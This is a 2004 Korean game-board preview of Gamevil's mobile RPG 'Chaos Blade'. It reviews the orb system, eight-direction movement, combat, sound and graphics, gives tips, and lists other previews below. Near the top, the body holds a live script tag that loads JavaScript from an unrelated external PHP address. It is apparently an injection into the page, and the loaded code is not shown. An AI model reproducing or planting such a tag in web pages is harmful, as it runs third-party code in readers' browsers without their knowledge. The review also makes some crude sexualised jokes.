총 게시물 434건, 최근 0 건 안내
이전글  다음글  목록 수정 삭제
[프리뷰]

카오스 블레이드

글쓴이 : betagam  (221.♡.171.53) 날짜 : 2004-09-06 (월) 21:10 조회 : 24186
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 8방향 진행

제28회 아테네 올림픽이 대단원의 막을 내렸다. 양궁, 레슬링, 핸드볼 등 비인기 종목들이 세인들의 관심을 받기도 했지만.. 여전히 스포츠는 축구, 야구, 농구 등 꾸준한 인기를 끄는 종목들이 따로있다. 모바일 게임계도 별반 다르지 않다. 올림픽을 겨냥한 스포츠 장르의 모바일 게임이 한때 쏟아지기도 했지만 여전히 인기를 끄는 장르는 따로 있다. 바로 RPG!
하지만 인기를 끄는 축구, 야구, 농구 선수들의 생존 경쟁이 치열한 만큼 RPG장르의 모바일 게임도 최고의 작품이 아니고서는 살아 남기 힘들다. 많은 관심과 사랑을 받는 만큼 유저들의 선택도 냉정하기 때문이다. 그러다 보니 선뜻.. '대작'이라 불릴 만한 작품을 만나기란 쉽지 않다. 그런데... 바로 이런 분위기 속에서도 '대작'이라는 평을 받는 작품이 있으니.. 바로 <카오스 블레이드>이다. 카오스 블레이드(이후, '카블').. 과연 소문처럼 대작일까? 한번 차근차근 살펴보자!

게임명

카오스 블레이드

개발사

게임빌

장르

RPG

서비스타입

StandAlone

용량

272/234 kbyte

다운로드

NATE > 게임Zone > 전략/육성/RPG > 액션RPG
ez-i > 게임 > 모든게임보기 > 게임빌 게임포탈


‘오브’의 도입

카블에 여러가지 특징이 있겠지만 가장 두드러진 특징은 레벨 개념이 없는대신 ‘오브’라는 시스템이 등장한다는 점이다.




기본적인 ‘무’속성과 함께 '지, 수, 화’ 3가지 속성의 오브가 존재하며 어느 것을 칼에 장착하느냐에 따라 각기 다른 기술을 사용할 수 있다. 더욱이 오브 조합사를 통해 오브를 합성시켜 더 강력한 오브를 얻게 된다(참고로, 같은 종류의 오브 합성은 레벨업 된 오브를 만들며 다른 종류의 합성은 두 속성을 가진 오브를 만든다).
쉽게 설명하자면...‘지’속성의 오브를 장착하면 ‘수’속성의 몬스터를 해치우기 쉽고 만찬가지로..‘수’오브는‘화’몬스터를..‘화’오브는 ‘지’몬스터를.. 대충 이런 식이다.

이는 속성에 따라 <입는 데미지>와 <끼치는 데미지>가 다르기 때문이다. 따라서 몬스터의 속성에 따라 그에 상응하는 오브를 사용해야 한다. 이를 위해 ‘퀵오브’에 2개의 오브를 등록하여 사용하면 된다. 오브는 상점에서 구입할 수 있으며 이때 돈이 필요하다. 돈은.. 당근 적을 죽여야...


욕봤다!


8방향 진행

카블은 기존의 4방향으로 움직이던 게임과는 달리 8방향으로 움직일 수 있다. 뻣뻣한 놈이 체조한다고 설치는 것을 보는 것 보다 야들~야들~한 언니들 보는 것이 훨 낫듯.. 동서남북 갈팡질방하는 모습보다 이곳저곳 맘대로 쑤시고 다닐 수 있는 8방향 진행이 당연히 조작감에서 뛰어나다. 더욱이 장애물이 나타나면 알아서 비켜가니... 기특하다 못해 대견하기까지 하다.

짜릿한 타격감

액션 게임에서 빠질 수 없는 부분은 역시.. 타격감! 그런 점에서 볼 때 카블의 타격감은 나름대로 합격점이다.




우선 카블은 조작에 있어.. 4방향에 익숙해 있던 유저들에게 8방향은 낯선듯하지만 ‘자동타겟’ 지원으로 별다른 무리감을 느끼지 못 하게 했고, 일명 ‘대쉬’라는 강력한 공격력과 함께 짜릿한 타격감을 선사한다. 대쉬기능은 적을 향해 방향키를 연속적으로 두 번 누르면 된다. 이때 주인공은 적을 향해 달려들며 칼질을 해댄다. 아주 강하게...

카블의 타격감은 여기서 끝나지 않고 칼질을 당하거나 한 대 얻어터질 때마다 뒤로 밀리는 현상이 생긴다. 이로서 타격의 실제감을 살렸다. 안해봐서 감이 안 온다면.. 아래의 그림을 보자!



바로 이런 짜릿함을 느낄 수 있다.
(출처 : robbieduff님의 네이버 카페)

가슴 뭉~클한 사운드

카블의 사운드를 논하면서 오프닝 곡을 말하지 않는다면... 틀니 빼놓고 갈비집에 온 것과 다르지 않다. 카블의 오프닝 곡은 시중에 시판되는 영화 OST와 견주어도 손색이 없을 만큼 훌륭하다. 고요한 곳에서 혼자 듣고 있노라면 정의를 위해 주인공을 대신해 칼질이라도 할 수 있을 것만 같다. 오프닝 곡뿐만이 아니다. 칼질을 해대는 효과음이나 필드, 던젼 등 장소에 따른 배경음도 만족스럽다.

그래픽

요즈음 출시되는 게임치고 그래픽 엉성한 것은 드물지만, 카블은 괜찮은 것 중에서 쪼~옴 더 괜찮은 편이다. 8방향이라서 그럴까? 움직임이 자연스러워 보인다. 더욱이 그 어렵다는 ‘반투명’기법을 도입했다. 집이나 나무와 겹쳐지면서 사~알짝 보이는 주인공의 모습은 흡사, 실크에 비치는 언니들의 속살같이 보인다(감이오나? 거시기한거 많이 봤군...)

이뿐만이 아니다. 등장하는 신전들의 모습, 수많은 집들과 집안에 있는 가구 등... 특히 가디언하우스마을은 최종봉인답게 뛰어난 그래픽 요소들이 구석구석 배어있다. 하지만 무엇보다 눈에 띄는 것은 이벤트 진행에 따른 캐리터의 얼굴이 클로즈업되어 묘사 된다는 점이다.



Tip 1. 속도를 조절하라

카블은 지금까지의 RPG와는 느낌이 다를 정도로 초반부터 난코스다. 그러다 보니 초보인 경우 게임에 대한 흥미를 쉽게 잃을 수 있다. 이때.. 열 받는다고 손 떼지 말고 속도 조절을 통해 게임에 대한 완급을 조절하는 게 좋다. 환경설정에서 3단계로 속도를 조절 할 수 있다.


Tip 2. 칼질은 아껴서 한 번만

전체맵이 없다보니 이정표를 보고 길을 찾아 나서야 한다. 이때 반갑다고 이정표를 향해 칼질을 해댔다간 낭패를 본다. 왜냐하면 안내문이 사라지기 때문이다.


Tip 3. 들쑤시고 다녀라!

‘보물’은 말 그대로 귀하다. 게임의 엔딩을 보고 싶다면 이곳저곳 돌아다니며 보물상자를 찾아야 한다. 특히 HP와 SP를 최대치로 업! 시켜주는 보물상자를 찾아야 한다. 애써 중요성을 따지자면.. SP보다 HP에 신경을 쓰는 편이 좋다. 이 외에도 자잘한 즐거움을 경험할 수 있다.




Tip 4. 적절한 오브 사용

‘손자병법’에 <적을 알고 나를 알면 백전백승>이라 했다. 마찬가지로 몹들의 속성을 파악하는 것이 중요하다. 또한 미리 유용한 오브를 조합해 두는 것이 보스를 상대하기에 용이하다. 개인적으로는.. <바실리스크>와 <소드브레이커>가 유용했다.




Tip 5. 세이브를 아끼지 말라
카블은 레벨개념이 없기 때문에 지겨운 단순 노가다를 확실히 줄였다. 하지만 어려운 난이도로 인해 세이브와 로드를 반복하는 노동을 해야만 한다. 이마저 귀찮다면..게임하지 말고 퍼질러 자라!

아울러, 카블에는 고맙게시리 세이브 슬롯이 2개가 있다. 이를 활용하여 한 곳은 탐색용으로.. 다른 곳은 탐색을 통한 진지한 성적만을 저장해 두면 상위 랭키에 좀 더 쉽게 등록 할 수 있다.


욕받다!

초장부터 죽여주는 난이도
카블을 접해 본 유저라면 한결같이 초반부터 죽여주는 난이도에 치를 떨었을 것이다. 조금할라치면 어느새 땅 바닥에 엎드려져 죽어있는 주인공.. 인내와 끈기가 없이 카블을 플레이 한다는 것은 불가능(?) 해 보인다. (왜 초반부터 이렇게 유저들을 엿 먹였을까???)

아쉬운 사운드의 조화

오프닝 곡에서 함 먹고들어갔던 카블이지만.. 게임 플레이와 함께 적잖은 실망감을 안겨 준다. 스토리 전개 때를 빼곤 배경음이 효과음과 교차되면서 매끄럽지 못하고 끊긴다는 느낌이 들기 때문이다. 그러다 보니 게임의 맥도 끊기는 기분이 든다. 이는.. 몰입감에 적잖은 손실을 주는 요소인 듯하다. 아립따운 여인의 매끈한 각선미에 감탄하고 있다 문뜩.. 듬성듬성 난 털에 경악하는 기분이라고나 할까....


발목잡힌 장점

카블의 스토리라인은 모바일 RPG치곤 장엄해 보인다. 하지만 보고 또 보고, 듣고 또 들어서 한결같이 좋을 것이 어디 있겠는가? 초반부터 사람잡는 난이도 때문에 계속 죽는데.. 그때마다 보고 또 보고, 듣고 또 들어야 하다니.. 너무나 가혹하다. 그나마 오프닝 때는 스킵이라도 시킨다지만 이후 대화시에는 스킵이 불가능하다. 거기다 보스전을 앞두고서는.. 살인적일정도로 기~~~이~~~인 대화가 이어진다. 한방에 끝내기란 좀처럼 쉬운 일이 아닌데... 그때마다 이 긴 대화를 보고 또 보고, 듣고 또 들어야 하다니...




왜 작아지는가~♩♪♬

오래전 가수 김수희씨가 부른 ‘애모’라는 노래의 가사 중에서 이런 노랫말이 있다.


<그대 앞에만 서면 나는 왜 작아지는가~♩♪♬>


이 여인은 ‘사랑’ 때문에 상대 앞에서 자꾸 부끄러워진다지만.. 우리의 주인공은 빠른 스피드를 자랑 하다가도 왜 몬스터나 보스 앞에서 작아지는 걸까?

카블의 속도는 대체적으로 만족스럽다. 그런데.. 몬스터나 보스가 등장하면 걷다못해 기어가는 느낌이 들 정도로 느려진다. 우리의 주인공 봉인기사(?) 쫄아서 그럴까? 아니면.. 노랫말의 여인처럼 몬스터와 보스를 사랑하기 때문에....

아쉬운 요소들

위에서 언급한 미흡한 점 뿐만 아니라 ‘대작’이라는 평을 듣고 있는 만큼 더 보완했으면 하는 몇 가지 요소들이 있다.

첫째, 던젼이야 그렇다치고 .. 필드에서까지 전체 맵이 없다는 점이다. 그러다 보니 필요이상으로 헤매야 한다(짜증나게시리..).

둘째, 초반에 어려운 난이도로 엿먹인것과는 상대적으로 던젼이 던젼으로서의 역할을 하지 못 한체 비교적 단조롭다는 점이다.

셋째, 장애물을 피해가는 자동적인 움직임이 화살이나 가시통과 같이 타이밍이 요구되는 곳에서는 오히려 장애가 된다는 점이다. 멈춰서야 하는데.. 똥마려운 강아지처럼 자꾸 움직이다보니 화살에 맞아 죽고, 가시통에 찔려 죽고... 그래서 죽고 또죽고.. 우라질!


간만에 돈 아깝지 않은 게임을 다운 받은 기분이다. 초반부터 엄청 짜증나게 했지만 다 그만한 이유가 있었다. 50% 먹고 들어갔던 오프닝곡과 스릴을 느낄 수 있었던 타격감과 탁월한 그래픽, 게임 몰입도를 한층 더하게 한 시나리오... 이런 게임을 날로 먹으려 했다니.. 쯧쯧!

물론, 아쉬움도 남는다. 매끄럽지 못한 사운드, 이런저런 제약이 많은 오브시스템, 쉴새없이 토해놓는 길고 긴 대사들... 그럼에도 불구하고 카블이 '대작'이라는 평을 받을 수밖에 없는 이유는 RPG 장르가 인기 있다고 난립으로 만들어 진게 아니라 게임빌의 착실한 계획 가운데 출시된 작품이기 때문인 듯 싶다. 그러기에 게임의 각각 요소들이 묘한 매력을 빚어내는 게 아닐까?

그래픽

사운드

속도감

조작감

중독성


이전글  다음글  목록 수정 삭제

총 게시물 434건, 최근 0 건 안내
번호 분류 이미지 제목 글쓴이 날짜 추천 비추천 조회
14 프리뷰  열혈강호-무림쟁패 betamo 10-05 1478 0 26842
13 프리뷰  현재를 즐기자, 카르페디엠 betaon 10-01 1383 0 25892
12 프리뷰  점프점프 레볼류션 betamo 09-25 1413 0 13875
11 프리뷰  위대한 민족혼, 칼 온라인 betaon 09-17 1410 0 18418
10 프리뷰  모바일 크래프트 betagam 09-16 1316 0 20100
9 프리뷰  블록버스터 프로젝트, RF온라인 betaon 09-10 1288 0 29627
8 프리뷰  카오스 블레이드 betagam 09-06 1218 0 24187
7 프리뷰  GO! GO! 한국프로야구 2 온라인 betaon 09-02 1151 0 25283
6 프리뷰  마법상점 타이쿤 betagam 08-27 1226 0 16226
5 프리뷰  신나는 보드 라이딩, 호버보드 ASDF betaon 08-23 1253 0 16887
4 프리뷰  전무후무한 격살감, 러쉬온라인 betaon 08-13 417 0 24680
3 프리뷰  짜릿한 전투, 히트프로젝트 betaon 08-10 495 0 20856
2 프리뷰  지하철도 2호선 betamo 07-29 670 0 14605
1 프리뷰  삼국지-천하통일 betamo 07-27 443 0 14446
  21 22